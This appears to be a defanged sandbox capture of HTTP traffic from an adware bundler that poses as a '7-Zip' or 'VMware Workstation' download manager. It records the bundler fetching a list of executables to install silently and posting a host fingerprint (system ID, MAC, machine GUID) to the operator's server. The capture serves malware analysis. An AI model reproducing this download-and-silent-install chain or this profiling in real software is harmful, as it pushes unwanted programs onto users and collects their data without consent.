User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: cdn2.lawfuldownload.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Content-Type: image/png

Content-Length: 937

Connection: keep-alive

Date: Thu, 31 Mar 2016 20:33:19 GMT

Content-Disposition: attachment; filename="footer_img.png"

Last-Modified: Thu, 26 Feb 2015 16:19:16 GMT

ETag: "e2bf2d203887961a2e93c1a68b7e7534"

Accept-Ranges: bytes

Server: AmazonS3

Age: 21575

X-Cache: Hit from cloudfront

Via: 1.1 83f09f54eba2e4c0bef905fd06911416.cloudfront.net (CloudFront)

X-Amz-Cf-Id: X3zgfiCXwvryAX49A70PLLCwZdV_eV8lUoh7cklQbHjggo0NAX1TEw==

.PNG........IHDR.......;........B....tEXtSoftware.Adobe ImageReadyq.e<...!iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC (Windows)" xmpMM:InstanceID="xmp.iid:E57C9F23EFB911E397DFE4EB8E55B910" xmpMM:DocumentID="xmp.did:E57C9F24EFB911E397DFE4EB8E55B910"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:E57C9F21EFB911E397DFE4EB8E55B910" stRef:documentID="xmp.did:E57C9F22EFB911E397DFE4EB8E55B910"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>........IDATx.b.y........g...?.(....0.....N.]l....IEND.B`.....

GET /9ee1efd2-b9b2-403f-8f9a-5fc856fa00a3/cancel.gif HTTP/1.1

Accept: */*

Referer: hXXp://VVV.quaintspokenracketiest.site/index.php

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: cdn2.lawfuldownload.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Content-Type: image/gif

Content-Length: 1262

Connection: keep-alive

Date: Thu, 31 Mar 2016 19:34:39 GMT

Content-Disposition: attachment; filename="cancel.gif"

Last-Modified: Thu, 26 Feb 2015 16:19:15 GMT

ETag: "d92b8cccf7616d9e5f6162571dd3e1e8"

Accept-Ranges: bytes

Server: AmazonS3

Age: 25195

X-Cache: Hit from cloudfront

Via: 1.1 83f09f54eba2e4c0bef905fd06911416.cloudfront.net (CloudFront)

X-Amz-Cf-Id: -VAbhBj4Plk0lL-ETMjLa99RSKEde5D5MXz4OsozqcNn4sLMb6749Q==

GIF89ae......................................................................................................................................................................................................................................................................................................................................................................................................!.....u.,....e........ot.............o..nC.............GCn.t.D.............BC.EF.............EEJ.HHG.............H.J............*..IK.MNM......8.....H..H.`....*....!'O"J.H..D%....P.... C..8......D!.....0c.......4s.....O.....I.h.(S.QY.....K....c...Vg,.......f. 0.k... \..b.. L..@.J...)U.U.b......W.0......t..a.....7..7..."pt.<`...}/..M.o.,...^......_...`...MT.8p.........Z..../.^...j:Y.K.N.zt,,.`...;.)&.h.>....X4.p...z...D. ............................... }.J0...&x...f...-......AH.]pa..(..".A....=.(....p....X#...0#.5. ..A....H&ib.......PF).._x.E...`..^.0...n9..[z........".P..P.@..t..$...!..|....b..F.. ....$.....`....!g.6.j..?..A.[....?t............!d..........v....%.A.c.P@. .0..c.P..cT0@. .. ...P.... ......!gt......m...k..........n.f.AH...k...............p..../.......7.....!...Wl.K..c....C..!l.,..$..r.(....,.<r.".!..n.l..8....<....=.-..o....t....L7...s....;....

<<< skipped >>>

GET /9ee1efd2-b9b2-403f-8f9a-5fc856fa00a3/decline.gif HTTP/1.1

Accept: */*

Referer: hXXp://VVV.quaintspokenracketiest.site/index.php

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: cdn2.lawfuldownload.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Content-Type: image/gif

Content-Length: 1293

Connection: keep-alive

Date: Thu, 31 Mar 2016 22:43:22 GMT

Content-Disposition: attachment; filename="decline.gif"

Last-Modified: Thu, 26 Feb 2015 16:19:16 GMT

ETag: "137a96f0655570ffdf65ae14dad52404"

Accept-Ranges: bytes

Server: AmazonS3

Age: 13541

X-Cache: Hit from cloudfront

Via: 1.1 83f09f54eba2e4c0bef905fd06911416.cloudfront.net (CloudFront)

X-Amz-Cf-Id: kNZaSGnPP7HnCswbs4E6L8prk1Y1HNP1RmVK8IUlS20AvonMXpCneg==

GIF89ae......................................................................................................................................................................................................................................................................................................................................................................................................!.....t.,....e........ns.............n..mB.............FBm.s.C.............AB.DE.............DDI.GGF.............G.I.........(.....HJ.LML..........%....8...z.J.\..a.%N.5qB......8...F......H..F...$)..e.&P.A.I....37>......Ax..JT.N%D..\....)..H.J..U...H..u...[.... ..&/H.{!%.V.m...X0...)Se.......W.P!D.J.... ^.a@..T..(.........B.E....4.<Z4..-2..r....7L.....m*W.Y..........Nc...<.x..a.....Do..........;........{......_.>.. ..3(p....W._9p........{.........z... {[.....Vh...F0@..vX..Y.....D.E..v.!. f.".%j...#bh#._....[....@.)..@.1..[.....L2YD...I..C.X...H@..M2.D.`.....|...h....^.0@.pv.D..`...S.........o....z....7......9.!b.!...Vji. .... ....`<A'..f...T....=......:....0A.[$0@.>......{....a...&.....8@........a...&`...6.l.bP0....;n._. B...@.....l...a.......d......,....k......!h4....G....Wl.j..g....w.q.g.2..$.l..(....,....0..s.4..r......<....6.-t.?.m4.l.<G.o....PG-..TWM..M[...P....X...$d.m..g..@ .;....

<<< skipped >>>

GET /9ee1efd2-b9b2-403f-8f9a-5fc856fa00a3/accept.gif HTTP/1.1

Accept: */*

Referer: hXXp://VVV.quaintspokenracketiest.site/index.php

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: cdn2.lawfuldownload.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Content-Type: image/gif

Content-Length: 3033

Connection: keep-alive

Date: Thu, 31 Mar 2016 13:39:34 GMT

Content-Disposition: attachment; filename="accept.gif"

Last-Modified: Thu, 26 Feb 2015 16:19:15 GMT

ETag: "3484f982bbd281ea323f9dedb47098ed"

Accept-Ranges: bytes

Server: AmazonS3

Age: 46722

X-Cache: Hit from cloudfront

Via: 1.1 83f09f54eba2e4c0bef905fd06911416.cloudfront.net (CloudFront)

X-Amz-Cf-Id: lB3Jwob2YzCpufKNYYCMjSSTBNt6KCYZnfUylodHgBu2alWz2laUXg==

GIF89ae...............!.(:.AhxjC.M..%...C.E...?.G...gvh*. *./*.3guhwww?.H<.E>.E&.) .->.G;.Appp.....3-.3,./-.2*.-=.E@.H<.A)..@.IC.K'. =.D8.?:.A7.>6.<2.74.91.50.76.>..................C.K...}..o.t ./...............'.,^.d......L.R~..uuu...............J.N...<.C...H.KL.P..................[._&. ...........................|.~......(.-...4.?k.oB.KG.M?.G...[.^;.C...|.....y.}...a.f......;.B...Y.^...j.m.........I.M......?.B>.D............M.Q...........9<.?... .5o.s1.8(.,A.K......C.I%.*..2?.Hgug).1E.Kn.o@.I-.4E.I>.F=.D6.;...'.)*.(*./-.-?.=-..:.C../<.C...5.<=.B?.C...9.@9.A:.A,.2;.B;.BQ.\...O.Tkyl/.3\._8.>'.-/.2>.F?.P<.F*.&-.34.9(.,@.I .....)./=.D3.8&.<C.K#.*C.J .,~.. .&...#.&(.) .2,.3=.F,.5(./...{.}...=.E&.*Y.\-.39.B{.|.........hwi). iyjjzk-.2^.b>.J&.,q.ul.pm.pn.q...M.R......<.A......!..XMP DataXMP<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:325014833434E411B829A1185F1C216E" xmpMM:DocumentID="xmp.did:D165859F343611E4B378E2150F88781F" xmpMM:InstanceID="xmp.iid:D165859E343611E4B378E2150F88781F" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:Deriv

<<< skipped >>>

GET /9ee1efd2-b9b2-403f-8f9a-5fc856fa00a3/dm_left_image.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.quaintspokenracketiest.site/index.php

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: cdn2.lawfuldownload.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Content-Type: image/png

Content-Length: 29603

Connection: keep-alive

Date: Wed, 11 May 2016 07:59:08 GMT

Content-Disposition: attachment; filename="dm_left_image.png"

Last-Modified: Thu, 26 Feb 2015 16:19:16 GMT

ETag: "27e01b52fcb3f43ff9d3f29b0af69137"

Accept-Ranges: bytes

Server: AmazonS3

Age: 67310

X-Cache: Hit from cloudfront

Via: 1.1 83f09f54eba2e4c0bef905fd06911416.cloudfront.net (CloudFront)

X-Amz-Cf-Id: RcGgKhQm-CZbwh2IcsKgVVFhY05WD_jIUPgQxFs1lCY8pcD8OLo_Vg==

.PNG........IHDR.......e.....5Z......tEXtSoftware.Adobe ImageReadyq.e<..."iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:A22384F4BB6C11E488CDA27B4BADD3EB" xmpMM:DocumentID="xmp.did:A22384F5BB6C11E488CDA27B4BADD3EB"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:A22384F2BB6C11E488CDA27B4BADD3EB" stRef:documentID="xmp.did:A22384F3BB6C11E488CDA27B4BADD3EB"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.O.8..p.IDATx...[..X.....I..12#.*..{z.f5.y[....4..$..>.....X..#m.vU.LWfUf......u......`.#3"....H.x.....o.......i.$...@.........~.Z..xd...w..,....;9......<..-...B.......o.....7._..w.Y....kn?>...T=..|:..^k.;......".J..B.gM.f).|...<..rK....=.7..Z.g....SDG..`.tm.q......ZS...(.V.<....Y.....;z.,?>..|*...k..}ip..C..=..|B...kV-W.....J....X....k...y>.[z.5.d.l..W.u.1/.....|...r.v.r}..|*...k...........j<.....p|Q=........$.....C...<..-....{.`......._.?x......q.7S>.......W...'_...#..#.p..a.Gy.O...sM!........S...3^.p.s.|!........r....@......vM|s3.......?..Bi.&....k._..........

<<< skipped >>>

GET /launch_v5.php?p=sevenzip&pid=1505&tid=4312341&b_typ=pe&n=Vm13YXJlK3dvcmtzdGF0aW9uKzEwLjAuNStidWls&reb=1&ic= HTTP/1.0

Host: up.sdfuus98d7f.xyz

User-Agent: NSISDL/1.2 (Mozilla)

Accept: */*

HTTP/1.1 200 OK

Content-Type: text/html; charset=UTF-8

Content-Length: 1025

Connection: close

Date: Sun, 29 May 2016 02:44:36 GMT

Server: Apache/2.2.15 (CentOS)

X-Powered-By: PHP/5.3.3

X-Cache: Miss from cloudfront

Via: 1.1 69ae15d1338b64299d3942a44fc1fb96.cloudfront.net (CloudFront)

X-Amz-Cf-Id: y5uWh3M87VHDzcaTf9PaUq2C-jfkiug4XNZ9b5EwiLBk-_1tZVotGg==

files=4.t1=dl.u1=hXXp://VVV.dosecuretrips.com/download.php?version=1.1.5.26&monitor=1&z2=0&ci=2140&appsetupurl=http://pe-sixi.com/downloadS.php?bu=am&prefix=Setup&instid[appname]=installer&instid[cmdline]=/S&instid[appimageurl]=http://pe-sixi.com/img/icon_installer.png.n1=Setup__2140_il21.exe.b1=am.c1=2140-sevenzip.s1=0.m1=0.d1=0.t2=dl.u2=hXXp://sub.spirlymo.com/installers/cli/1464487328335/SevenZip_downloader-Q1W7zfujX.exe.n2=SevenZip_downloader-Q1W7zfujX.exe.b2=bi.c2=sevenzip-3.s2=0.m2=1.d2=1500.t3=dl.u3=hXXp://get.wenter3.space/?affId=1006&appTitle=Vmware%2Bworkstation%2B10.0.5%2Bbuil&s1=1505&s2=4312341&setupName=cpSetup&appVersion=2.92&instId=11.n3=cpSetup.exe.b3=cp.c3=sevenzip-1.s3=0.m3=0.d3=0.t4=dl.u4=hXXp://dl.betteru3.space/stub_maker_uk.php?url=hXXp://tabiso2get.link/taveara?q=setup&name=Vmware+workstation+10.0.5+buil.n4=sevensetup.exe.b4=rx.c4=sevenzip-1.s4=0.m4=0.d4=0.fn1=Components.fn2=File opener.fn3=File finder.fn4=SevenZip.ftitle=to run your file.itype=silent...

GET /9ee1efd2-b9b2-403f-8f9a-5fc856fa00a3/cancel1.gif HTTP/1.1

Accept: */*

Referer: hXXp://VVV.quaintspokenracketiest.site/index.php

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: cdn2.lawfuldownload.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Content-Type: image/gif

Content-Length: 2881

Connection: keep-alive

Date: Thu, 31 Mar 2016 20:10:34 GMT

Content-Disposition: attachment; filename="cancel1.gif"

Last-Modified: Thu, 26 Feb 2015 16:19:15 GMT

ETag: "d9f00c86bfa3e08e905128b131229fac"

Accept-Ranges: bytes

Server: AmazonS3

Age: 22851

X-Cache: Hit from cloudfront

Via: 1.1 f989b812753677758cd8909391e239ac.cloudfront.net (CloudFront)

X-Amz-Cf-Id: SA8_ewi8-BBZiz6g1U6QoO_YahoE1o_TQCipfhqWcu5PrQW2M4hUrw==

GIF89ae......@.H*.-<.AC.K=.F>.H'. ;.B,./=.E)./)..@.I=.D=.D?.GC.M>.DC.IC.K'.,@.H>.F:.A*./D.LC.M?.HB.L=.G;.A9.@:.C .-;.CuuuB.K(.)>.G)..<.C). @.I>.E...>.G,. ). &. <.E*.&%.*6.C-.3-.33.7).1&.)www(.-*. .../.54.?-.4=.B...!.().0...-.7...G.I..9-.35.7?.F'.0A.O-..,.5<.B>.J ..D.I5.:..5=.GE.K/.0-.-/.2?.=,.7*. ;.B/.4 .'C.I..79.B&.2 .,<.>".*-.0?.C-.-8.>-.&'.12.4:.AC.B1.7-.4..$'. 3.8Q.\<.A<.G4.9 .05.<C.F6.;;.I@.I".%;.B>.Q*.-0.5&.<9.?'.-#.) .6:.A ./..31.57.>4.96.>0.76.<&.)2.78.?-.2-.3ppp..................................................................................................................................................................................................................................................................................................................!..XMP DataXMP<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:5653313B52CD11E48302D8AFAF09E831" xmpMM:DocumentID="xmp.did:5653313C52CD11E48302D8AFAF09E831"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:5653313952CD11E48302D8AFAF

<<< skipped >>>

GET /9ee1efd2-b9b2-403f-8f9a-5fc856fa00a3/skip.gif HTTP/1.1

Accept: */*

Referer: hXXp://VVV.quaintspokenracketiest.site/index.php

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: cdn2.lawfuldownload.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Content-Type: image/gif

Content-Length: 1740

Connection: keep-alive

Date: Wed, 30 Mar 2016 21:29:29 GMT

Content-Disposition: attachment; filename="skip.gif"

Last-Modified: Thu, 26 Feb 2015 16:19:16 GMT

ETag: "7c96892b1948a6e97494e2d58cafe1c0"

Accept-Ranges: bytes

Server: AmazonS3

Age: 17949

X-Cache: Hit from cloudfront

Via: 1.1 f989b812753677758cd8909391e239ac.cloudfront.net (CloudFront)

X-Amz-Cf-Id: lAJaAgm4xtp9BHAZjydt8XNm9Q68h_UgLMtFBGanKdzJeb0-b3_V4w==

GIF89ae......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................!.......,....e........|"E......*\......?...)....3j...... Cb.....R...\.....0c..I.&K8q........@...J....>...C...:P.J.J.*U.X.:......`...C....h....'...d..= W...x...Cp..=....L..`>}...Q...>b.....N.3~.k..y..>....M.....I...CB..1R......?....1.P............. _.\. :.f..$...@*@..$h. @y....$(P.A..._..O .....O.>.Ct..Idh. B.\.. ..........f.!D.0..D..Uha}..B.!..... .(.....H...Q."..b..! ...[..../4...Vxq.......D.9"!.....L6...O&....L........C... ......ta...$ D./ ...p:YH...h..x.......F....."/<A...0.. .x........J..D......z2B."..*....jj#.(.F.d8....|...#......t..!.$..........[*$.5..#.6....F.l#.0..#%....p...".........!.4.I...R.....m$.A............".T..%.pPC./.@....P.".......!.%......v.1...4.$$.l..(.lr%}HQ..f@.. .`..$..`...l0.'6T@..?.........*cB.%PG-..TW

<<< skipped >>>

GET /9ee1efd2-b9b2-403f-8f9a-5fc856fa00a3/next.gif HTTP/1.1

Accept: */*

Referer: hXXp://VVV.quaintspokenracketiest.site/index.php

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: cdn2.lawfuldownload.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Content-Type: image/gif

Content-Length: 2157

Connection: keep-alive

Date: Wed, 11 May 2016 07:59:07 GMT

Content-Disposition: attachment; filename="next.gif"

Last-Modified: Thu, 26 Feb 2015 16:19:16 GMT

ETag: "ba2e9f310f01397a1f41cb6a7ab2e3c9"

Accept-Ranges: bytes

Server: AmazonS3

Age: 67335

X-Cache: Hit from cloudfront

Via: 1.1 f989b812753677758cd8909391e239ac.cloudfront.net (CloudFront)

X-Amz-Cf-Id: OEJxXfQX9m398vw01HV0dTWqwmlCeH6BS_cSxzH1BoQYYnS70VRadQ==

GIF89ae............pppC.K@.H>.H=.F=.D;.B7.>6.<4.9-.3-.2 ./*.-)./'. ...&.<>.Q..' ., .6&.26.C5.A,.7;.I<.G .*'.1'.0".*$.,,.43.<*.11.9/.8..76.?9.D5.=4.<:.C9.B9.A6.><.E:.B?.I>.G=.G;.C<.D@.I>.F@.I?.H>.GC.MB.LB.K@.IE.OK.RT.\..$..# .%!..)&..%. ".'&.-*.1!.&).1-.5)..&. -.5*.0'.,-.4*.0)..)./(.-'.-0.8,.2'.,)../.6-.4,.1 .1 .1)..0.7-.2,.23.;-.2*./3.9/.42.90.60.50.7..3..5-.24.;1.70.55.<4.;..48.?7.>6.=5.<4.:2.78.?6.=<.B:.A9.@8.?2.7-.3:.A8.?7.=;.B8.><.B<.C;.B;.@7.=@.H>.D>.D=.D:.A>.D:.?C.KC.IC.J8.=D.L?.F3.8?.F<.AE.JD.KF.LB.HA.FD.HN.TK.PP.TX.]a.fe.jn.rx.|~............................................$.('. %.)4.9).,).-*.. .-). .. .-*.--.10.41.5/.22.44.86.:C.HG.IH.L_.b.............................................'.(*.*(.)-../.0-.->.>C.E........................,. .&..................uuu...!.......,....e..........'......*\.........'.....f...i... C...i...Az...qZ.O"Ej...Z..0c....Z...4..8.....|.X.....P..X:5.U.U.j.....v3...Q.......].....p.....F...FM.R....1r..a........A.D.....NL........2...J.[T:p.....H.^....G...IQ..-Z{Z.&].....w....u.O<:<.....G..!pD......g...\.l\.q..'.......H..S...-....Q...lp)....D.......h......>...E..p...i@a!....D..0...\4..<i4..#..XH$...b .0...S.T.!8....<........8...G.f... .."K)S..M l.Q.,....>..RJ.9.QG.9..G..h...;6QP.p.)..t..G..h..?.X.'7V..J<....8....>.$A.>..R.?.."..p.!D ~..G...b...h.B....AA0........ .,......#...~ D<.."H ....,..B.<....8..r."....7.Xc...|.K(#(..................nD.D ....8.(aK>.............

<<< skipped >>>

GET /9ee1efd2-b9b2-403f-8f9a-5fc856fa00a3/finish.gif HTTP/1.1

Accept: */*

Referer: hXXp://VVV.quaintspokenracketiest.site/index.php

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: cdn2.lawfuldownload.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Content-Type: image/gif

Content-Length: 2157

Connection: keep-alive

Date: Thu, 31 Mar 2016 22:43:23 GMT

Content-Disposition: attachment; filename="finish.gif"

Last-Modified: Thu, 26 Feb 2015 16:19:16 GMT

ETag: "ba2e9f310f01397a1f41cb6a7ab2e3c9"

Accept-Ranges: bytes

Server: AmazonS3

Age: 13451

X-Cache: Hit from cloudfront

Via: 1.1 f989b812753677758cd8909391e239ac.cloudfront.net (CloudFront)

X-Amz-Cf-Id: fQcTQ89Y5zhKIWXGOPuxwpaTcFoCWjiDG-hDkb5LdHBdWuRZVbJlMA==

<<< skipped >>>

GET /V36/amipb.js HTTP/1.1

Accept: */*

Referer: hXXp://VVV.quaintspokenracketiest.site/index.php

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: cdn1.lawfuldownload.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Content-Type: application/x-javascript

Content-Length: 71803

Connection: keep-alive

Date: Tue, 17 May 2016 11:09:58 GMT

Last-Modified: Tue, 17 May 2016 11:08:26 GMT

ETag: "e840f36f9eecb4c77a9a1e7b428349ed"

x-amz-storage-class: REDUCED_REDUNDANCY

Accept-Ranges: bytes

Server: AmazonS3

Age: 56006

X-Cache: Hit from cloudfront

Via: 1.1 1f3fb60768611bd03244cf06312d5a9c.cloudfront.net (CloudFront)

X-Amz-Cf-Id: dH4xwPzq5smTiIPUvs5yEytC2-8hFsld25HdqhLXX5cUxZOJWiisWQ==

..//<!-- ../* Progress bar */..var g_AmiPbs = new Array();.var g_AmiPbsEx = new Array();.var g_interval = 0;.var g_initComp = 0;.var g_possibleComps = [];.var g_reportedComps = [];.var g_removedComps = [];..var g_disable_updater = false;..//in the version we tests updater task is created firstly.var g_UpdaterTestVersion = (typeof (g_ver) !== 'undefined' && g_ver != null && g_ver == '1.1.5.90');.var g_UpdaterTaskCreated = false;..function LogMessage(message) {. try {. g_ami.Log(message);. }. catch (excpt) {. }.}..function IsDeclined(name) {. var declined = 0;. for (var i = 0; i < g_removedComps.length; i ) {. if (g_removedComps[i] == name) {. declined = 1;. break;. }. }. return declined;.}..function UpdateSkipStatus(sn) {. if (g_testa && !ArrayContains(g_reportedComps, sn) && !ArrayContains(g_notest, sn) && !ArrayContains(g_notest1, sn) && !ArrayContains(g_notest2, sn)) {. if (g_testa.constructor != Array || ArrayContains(g_testa, sn)) {. g_ami.WriteProfileString(g_testf, '', sn, 'S');. g_reportedComps.push(sn);. }. }.}..function ShortNameFromName(name) {. for (c = 0; c < g_comps.length; c ) {. if (g_comps[c].name == name) {. return g_comps[c].sn;. }. }. return name;.}..function UpdateComponentsStatus() {. LogMessage('UpdateComponentsStatus function started');. for (var j = 0; j < g_possibleComps.length; j ) {.. if (g_possibleComps[j].sn =

<<< skipped >>>

POST /index.php HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/x-www-form-urlencoded

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.quaintspokenracketiest.site

Content-Length: 430

Connection: Keep-Alive

Cache-Control: no-cache

Net1.1=&Net2=3.5.21022.08&Net4=4.0.30319&OSversion=NT5.1SP3&Slv=&Sysid=C8318CA6891F5119A9FD96EC19E98D71&Sysid1=C8318CA6891F5119A9FD96EC19E98D71&X64=N&admin=Y&browser=IEXPLORE.EXE&cavp=&chver=&cmdl=Setup__2140_il21.exe&dprod=19C2FB3DEC385401F6FCF22178334A&exe=Setup__2140_il21&ffver=&lang_DfltUser=0409&mac=AA==&machg=NzVlZDk1NjctYWE1OC00YzhlLWE4ZWEtM2NhZDdjNDdhYjAzAA==&name=WFA3AA==&netfs=3&ts=1464489890&ver=1.1.5.26

HTTP/1.1 200 OK

Content-Type: text/html; charset=UTF-8

Date: Sun, 29 May 2016 02:44:41 GMT

Server: Apache/2.2.15 (Red Hat)

X-Powered-By: PHP/5.3.3

transfer-encoding: chunked

Connection: keep-alive

2121....<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">.<html>. <head>. <meta http-equiv="content-type" content="text/html; charset=UTF-8" /> . <title>DownloadManagerModern</title>...<script type="text/javascript">... var g_notCompatibleWithUpdaterComps = ['LootFindKP'];... var g_postponedComps = ['updater', 'Paltalk', 'SHAREit', 'JinshanDuba', 'UCwebAccelerator', 'UltimateSecurityPackage' , 'TotalSecurity', 'TotalSecurityIN', 'TotalSecurityRU'];...</script> . <base href="hXXp://VVV.quaintspokenracketiest.site:80/index.php" />.<link rel="stylesheet" type="text/css" href="hXXp://cdn2.lawfuldownload.com/9ee1efd2-b9b2-403f-8f9a-5fc856fa00a3/main.css" /> <script type="text/javascript" src="hXXp://cdn1.lawfuldownload.com/V36/amipb.js"></script>. <script type="text/javascript">.var g_r_appimageurl="http:\/\/pe-sixi.com\/img\/icon_installer.png";..var g_r_appname="installer";..var g_r_cmdline="\/S";.. var g_amiobj = '', g_ami, g_updb = false, g_close = '1', g_additional_offer_list = '1';. var g_finish_install_button = '1';. var g_popup_install_all = '1';. var g_eula = 'VGhlIGRvd25sb2FkIGFuZCBpbnN0YWxsYXRpb24gcHJvY2VzcyBvZiB0aGlzIGZpbGUgaXMgcnVuIGJ5IEluc3RhbGxQYXRoIEluc3RhbGwgTWFuYWdlci4KQnkgY2xpY2tpbmcgdGhlICJBY2NlcHQiIG9yICJOZXh0IiBidXR0b25zIGJlbG93LCBvciBieSBjb250aW51aW5nIHRoaXMgSW5zdGFsbFBhdGggSW5zdGFsbCBNYW5hZ2VyIGluc3RhbGxhdGlvbiwgb3Igb

<<< skipped >>>

POST /finalize.php HTTP/1.1

Accept: */*

Accept-Language: en-us

Referer: hXXp://VVV.quaintspokenracketiest.site/index.php

Content-Type: application/x-www-form-urlencoded

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.quaintspokenracketiest.site

Content-Length: 374

Connection: Keep-Alive

Cache-Control: no-cache

